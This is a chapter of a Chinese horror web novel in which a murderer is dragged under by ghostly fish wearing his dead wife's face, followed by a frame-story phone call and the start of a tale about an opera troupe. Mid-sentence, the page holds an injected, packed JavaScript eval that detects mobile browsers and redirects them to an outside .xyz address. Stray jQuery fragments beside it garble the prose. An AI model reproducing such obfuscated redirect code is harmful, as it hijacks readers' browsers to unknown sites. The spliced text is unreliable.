54.墨戏轩——桃花劫(一)

作品:《心惊胆颤

    水猴子的肺叶像被烙铁灼烧,眼前炸开一片血红。


    他发狠地抡起石头砸向鱼群,一条花鲢的头骨应声碎裂,可那鱼竟不逃窜,反而用变形的鱼嘴死死咬住他的手腕。


    鲜血在浑浊的水中晕开,引来更多鱼群疯狂地扭动。


    就在这生死关头,那条最大的黑鱼缓缓游近。


    鱼头上的人脸越来越清晰——浮肿的眼皮,泡烂的鼻翼,正是他"失踪"的妻子阿莲。


    最恐怖的是,鱼鳃处竟还挂着半截红绳,正是当年他亲手系在阿莲手腕上的定情信物。


    "当家的..."鱼嘴一张一合,吐出串串气泡,"你卖我尸体得到的钱,可好花?"


    水猴子浑身剧震。


    三年前那个暴雨夜,他踹开家门时,阿莲正在补渔网。油灯把她瘦弱的影子投在土墙上,像只待宰的鸡崽。


    "酒呢?"他踹翻凳子,醉醺醺地瞪着妻子。


    阿莲的手抖了一下,针尖扎破手指:"当家的...米钱还没..."


    就是这句话点燃了他的怒火。


    水猴子至今记得那种感觉——板凳抡起来时轻飘飘的,砸在阿莲后脑上却发出"咚"的闷响,像在敲一个熟透的西瓜。


    阿莲扑倒在渔网上,那些还没补好的破洞缠住了她的手指,她抽搐时把渔网扯出了更大的口子。


    "装死是吧?"他又踹了一脚,看见阿莲的嘴角冒出粉红色的血沫。


    直到她的瞳孔开始扩散,水猴子才意识到不对劲。


    暴雨掩盖了一切。他坐在门槛上灌了半坛酒,盯着阿莲逐渐僵硬的尸体,突然想起宋大胆非常喜欢艳尸。


    看着阿莲姣好的容颜,他咧嘴一笑。


    ——


    水猴子惊恐的剧烈挣扎起来。


    这时鱼群突然集体转向,每张鱼脸都扭曲成阿莲死前的模样:


    右额角凹陷的伤口还在渗血,那是他用板凳砸的;


    脖颈处泛着紫黑的掐痕,那是他最后补的力道。


    水猴子疯狂摇头,却看见更多熟悉的面孔在鱼群中浮现——有去年被他故意不救的洗衣妇,有被他藏尸勒索的货郎,最近的是梅兰,她的鱼脸腹部还留着那道狰狞的刀口......


    "还给我..."梅兰鱼嘴里的水草像脐带般飘荡,"把孩子...还给我..."


    水流突然变得粘稠如粥。水猴子拼命挣扎时,突然摸到腰间荷包在发烫。


    扯开一看,里面哪还有什么银钱,只有三颗发黑的乳牙!


    最大的黑鱼突然张开血盆大口,喉咙深处竟是个缩小的婚房——纸扎的童男童女在两侧咧嘴笑,正中坐着具穿喜服的骷髅,头盖骨上贴着的褪色喜字还在滴水。而骷髅怀里,正抱着个红布包裹!


    "洞房花烛..."阿莲的鱼脸突然裂成两半,露出森森白骨,"你也来...尝尝滋味..."


    无数鱼群化作苍白手臂,拽着水猴子往鱼嘴里塞。在彻底失去意识前,他最后看见的是红布包裹自己掀开一角,露出个青紫婴儿的笑脸——那孩子额头上,还钉着根生锈的棺材钉。


    岸上的老夫妇突然跪地痛哭,他们看见整条河的鱼都跃出水面,鱼鳞在月光下泛着尸蜡般的惨白。


    而在漩涡中心,一缕湿发缠着红绳缓缓沉没,河底传来"咚咚"的敲击声,像是有人在叩响棺材板......


    ——


    水猴子被拖上岸时,整张脸泛着死人才有的青灰色。


    他的嘴唇乌紫,指甲缝里塞满了河底的黑泥,右手五指死死攥着,指关节都泛了白,像是抓着什么不肯放。


    "还有气!"


    老渔夫王伯第一个扑上去,粗糙的手掌照着水猴子胸口就是几下猛压。


    每压一次,水猴子的嘴里就涌出一股黑水,那水腥得不像河水,倒像是陈年的尸液。


    压到第七下时,水猴子突然弓起身子,"哇"地吐出一团缠着水草的黑发,发梢上还系着半截红绳。


    围观的众人齐刷刷后退了一步。


    水猴子的眼皮颤了颤,终于睁开。他的眼白变成了诡异的灰黄色,瞳孔缩得只有针尖大,直勾勾盯着虚空中的某处。


    ---


    自那以后,幽都镇的人都说是河神开恩,给了水猴子第二条命。


    他果真像变了个人。不在赌博不说,甚至米铺重新开张时,穷人家来买米,他总要多舀半勺;


    他捞尸再也不收穷苦人的钱,有回帮李寡妇捞儿子,反倒贴了副薄棺材。


    可镇上夜归的人却说,常在子时看见水猴子抱着个红布包坐在河边,嘴里哼着走调的摇篮曲。


    那夜张二狗抄近路从河边过,远远瞧见水猴子蹲在浅滩处。


    月光下,他正用泡肿的手指蘸着胭脂,往自己脸上涂抹。


    惨白的粉底,猩红的腮脂,最后竟用炭笔画了双柳叶眉。画完还对着河水左照右照,怀里那个红布包裹发出"咯吱咯吱"的笑声。


    "猴、猴哥?"张二狗壮着胆子喊了一声。


    水猴子缓缓转头,张二狗至今记得那张脸——粉抹得太厚,像极了纸扎店里的童男女。


    而他的眼神,明明看着你,却又像透过你在看别的什么。


    "嘘......"水猴子竖起一根手指,"阿莲在教孩子认爹呢。"


    河面突然泛起涟漪,月光映出一大一小两个倒影,分明是女子牵着孩童的模样。


    可当张二狗揉眼再看时,水面只剩下一缕缓缓下沉的黑发......


    ——


    "......所以镇上人都说,水猴子其实已经死在河里了。"孟英的声音突然变得飘忽不定,手机里传来"滋滋"的电流声,"现在活着的,不过是借尸还魂的......"


    "汪!汪汪!"


    一阵突如其来的狗叫声从门外传来,在寂静的深夜里显得格外刺耳。


    我吓得浑身一抖,手机差点滑落。


    几乎在同一时刻,手机听筒里也传来了完全相同的犬吠声。


    "是我听错了吗?你那里怎么也有狗叫?"


    手机那头传来孟英轻快的笑声:"是啊,我家大黄刚逮着一只蝙蝠,正得意呢。"


    紧接着,微信"叮"的一声,一张照片跳了出来。


    照片里,一只威风凛凛的大黄狗正昂首挺胸地站在客厅中央,前爪下按着一只扑腾的蝙蝠。


    它浑身金黄的毛发在灯光下泛着健康的光泽,吐着舌头的样子憨态可掬。


    最引人注目的是它的体型——后腿直立时,怕是能有一米多高。


    "嚯,好家伙!"我忍不住赞叹,"这大家伙可真精神!"


    "可不是嘛,"孟英的声音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065772|178037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里透着骄傲,"每天都要带它去公园跑两圈,不然能把家拆了。"


    我们俩不约而同笑了起来。


    说来也巧,就在孟英家大黄叫唤的同时,我这边门外也传来了狗叫声。


    我一边跟孟英说着这个巧合,一边起身去开门,想看看是哪位房客带的宠物。


    走廊里静悄悄的,暖黄色的壁灯将木质地板照得发亮。


    我探头左右张望,别说狗了,连个人影都没有。


    "奇怪,"我对着手机说,"刚才明明听见狗叫的。"


    "可能是路过的野狗?"孟英猜测道,"或者是其他房客的宠物跑远了。"


    "也是。"我点点头,顺手带上门,"这山庄环境好,带宠物来度假的人不少。"


    夜风从阳台吹进来,带着山间特有的草木清香。我深吸一口气,方才听故事时的紧张感已经消散了大半。


    因为我不是那种话多的人,常常说几句就会冷场,所以就想着挂断电话。


    "时间不早了,"我看了眼挂钟,"明天还要听你讲第三个故事呢。"


    "那就说定了。"孟英的声音温暖而清澈,"晚安,做个好梦。"


    挂断电话后,我躺在床上回味刚才的故事。窗外偶尔传来几声虫鸣,衬得夜色更加宁静。


    那只大黄狗的照片还留在手机里,它炯炯有神的眼睛仿佛在说:别怕,那些都是故事而已。


    第二天清晨,阳光透过纱帘洒进房间。我刚洗漱完毕,手机就准时响起。


    "早上好!"孟英活力满满的声音传来,"准备好听第三个故事了吗?"


    我捧着咖啡走到阳台上,远处群山如黛,近处的草坪上,几只麻雀正在啄食。


    一切都是那么安宁美好,仿佛昨夜的鬼故事只是遥远的传说。


    "当然,"我笑着回应,"这次又是什么精彩的故事?"


    孟英清了清嗓子,熟悉的叙事节奏再次展开:"墨戏轩是幽都镇里唯一的戏班子......"


    ——


    墨戏轩是幽都镇里唯一的戏班子,深受当地人喜爱。


    朱漆牌匾在幽都镇的西街格外显眼,班主陶德海则是这戏班班主。


    这行当虽被归为下九流,却是穷苦人家孩子难得的活路。


    每年开春,都有面黄肌瘦的父母领着孩子跪在戏班门口,一跪就是三五日,只求班主收留。


    入了戏班的孩子,第一件事就是在卖身契上按手印。


    那契书用红纸黑字写得明白:"自愿卖身学艺,生死由天,富贵在命"。


    只要父母按了手印,这孩子从此便入了贱籍。


    莫说科举仕途,就是走在大街上,不仅见了寻常百姓要低头避让。就连见到暗门子里的妓女也要毕恭毕敬叫声姐姐——无论是不是角儿。


    班主手里的藤条就是王法,唱错了调要打,走错了步要打,就连吃饭时筷子拿得不对也要打。


    可偏偏就是这等卑贱行当,里头却分着三六九等。


    名角儿们住在后院厢房,每餐必有鱼肉;寻常学徒挤在大通铺上,半夜常被跳蚤咬醒;


    最下等的杂役只能睡灶房,与柴火为伴。


    班主常挂在嘴边的话是:"要想人前显贵,必得人后受罪",可那些挨够了罪的,多半还没熬出头就落下一身伤病,被随便打发走了。